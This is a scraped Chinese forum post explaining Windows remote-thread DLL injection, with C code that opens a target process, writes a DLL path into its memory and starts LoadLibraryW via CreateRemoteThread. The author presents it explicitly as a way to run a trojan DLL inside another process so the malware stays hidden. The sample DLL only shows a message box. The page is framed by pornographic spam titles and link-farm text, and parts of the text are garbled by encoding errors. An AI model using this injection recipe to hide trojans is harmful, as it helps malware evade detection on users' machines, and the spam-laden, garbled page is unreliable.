亚洲成人伦理_成人午夜视频在线观看_日本免费网站_黄网站色大毛片_超碰97人人人人人蜜桃_久久在线视频

Rss & SiteMap

曙海教育集團(tuán)論壇 http://www.bjzhda.cn

曙海教育集團(tuán)論壇
共1 條記錄, 每頁顯示 10 條, 頁簽: [1]
[瀏覽完整版]

標(biāo)題:用vb和c語言來進(jìn)行遠(yuǎn)程線形技術(shù)

1樓
wangxinxin 發(fā)表于:2010-12-14 14:39:24

遠(yuǎn)程線程技術(shù)指的是通過在另一個進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程耶。┑牡刂房臻g,所以,實際上,我們通過一個遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。例如在遠(yuǎn)程進(jìn)程內(nèi)部啟動一個DLL木馬(與進(jìn)入進(jìn)程內(nèi)部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠(yuǎn)程進(jìn)程的數(shù)據(jù))。

  首先,我們通過OpenProcess 來打開我們試圖嵌入的進(jìn)程(如果遠(yuǎn)程進(jìn)程不允許打開,那么嵌入就無法進(jìn)行了,這往往是由于權(quán)限不足引起的,解決方法是通過種種途徑提升本地進(jìn)程的權(quán)限) 

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠(yuǎn)程創(chuàng)建線程 
                PROCESS_VM_OPERATION | file://允許遠(yuǎn)程VM操作 
                PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫 
                FALSE, dwRemoteProcessId ) 

  由于我們后面需要寫入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

  然后,我們可以建立LoadLibraryW函數(shù)這個線程來啟動我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠(yuǎn)程進(jìn)程內(nèi)調(diào)用的,所以我們首先還需要將這個文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程是無法讀到這個參數(shù)的) 

 file://計算DLL路徑名需要的內(nèi)存空間 
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
 file://使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名緩沖區(qū) 
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
            MEM_COMMIT, PAGE_READWRITE); 
 file://使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間 
 iReturnCode = WriteProcessMemory(hRemoteProcess, 
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
 file://計算LoadLibraryW的入口地址 
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

  萬事俱備,我們通過建立遠(yuǎn)程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實際上是我們復(fù)制過去的木馬DLL的全路徑文件名)在遠(yuǎn)程進(jìn)程內(nèi)啟動我們的木馬DLL: 

 file://啟動遠(yuǎn)程線程LoadLibraryW,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件 
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                 pfnStartAddr, pszLibFileRemote, 0, NULL); 

  至此,遠(yuǎn)程嵌入順利完成,為了試驗我們的DLL是不是已經(jīng)正常的在遠(yuǎn)程線程運行,我編寫了以下的測試DLL: 

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
   { 
    char szProcessId[64] ; 
    switch ( reason ) 
     { 
      case DLL_PROCESS_ATTACH: 
       { 
         file://獲取當(dāng)前進(jìn)程ID 
         _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
       } 
      default: 
      return TRUE; 
     } 
   } 

  當(dāng)我使用RmtDll.exe程序?qū)⑦@個TestDLL.dll嵌入Explorer.exe進(jìn)程后(PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時使用PS工具也能看到 

   Process ID: 1208 
   C:WINNTExplorer.exe (0x00400000) 
   …… 
   C:TestDLL.dll (0x100000000) 
   …… 

  這證明TestDLL.dll已經(jīng)在Explorer.exe進(jìn)程內(nèi)正確地運行了。 

  無論是使用特洛伊DLL還是使用遠(yuǎn)程線程,都是讓木馬的核心代碼運行于別的進(jìn)程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護(hù)自己。

共1 條記錄, 每頁顯示 10 條, 頁簽: [1]

Copyright © 2000 - 2009 曙海教育集團(tuán)
Powered By 曙海教育集團(tuán) Version 2.2
Processed in .01563 s, 2 queries.
主站蜘蛛池模板: 欧美午夜一区二区三区免费大片 | 久久这里有精品 | 久久天天躁狠狠躁夜夜躁2014 | 99精品在线观看 | 国产日韩精品在线 | 欧洲精品在线观看 | 免费一级黄色 | 欧美日韩高清在线一区 | 日韩欧美一区二区三区免费观看 | 国产999精品久久久久久 | 成人精品一区二区三区四区 | 日韩有码一区 | 精品一区国产 | 亚洲一区二区三区免费在线观看 | 日韩一区二区免费视频 | 久久久久国 | 国产精品极品美女在线观看免费 | 99pao成人国产永久免费视频 | 国产视频三级 | 色香蕉在线 | 国产高清视频在线观看 | 本道综合精品 | 久久久精品综合 | 久草在线视频中文 | 国产精品一区一区 | 国产精品久久久久久久岛一牛影视 | 国产精品国产 | 狠狠操婷婷| 中文字幕在线第一页 | 亚洲精品国产成人 | 国产视频1区 | 午夜欧美| 亚洲精品一区二区三区在线观看 | 国产精品毛片一区二区在线看 | 日本不卡免费新一二三区 | 日韩欧美在线视频观看 | 久久国产香蕉 | 亚洲网视频 | 日韩三级电影一区二区 | 99精品网 | 日韩三区在线 |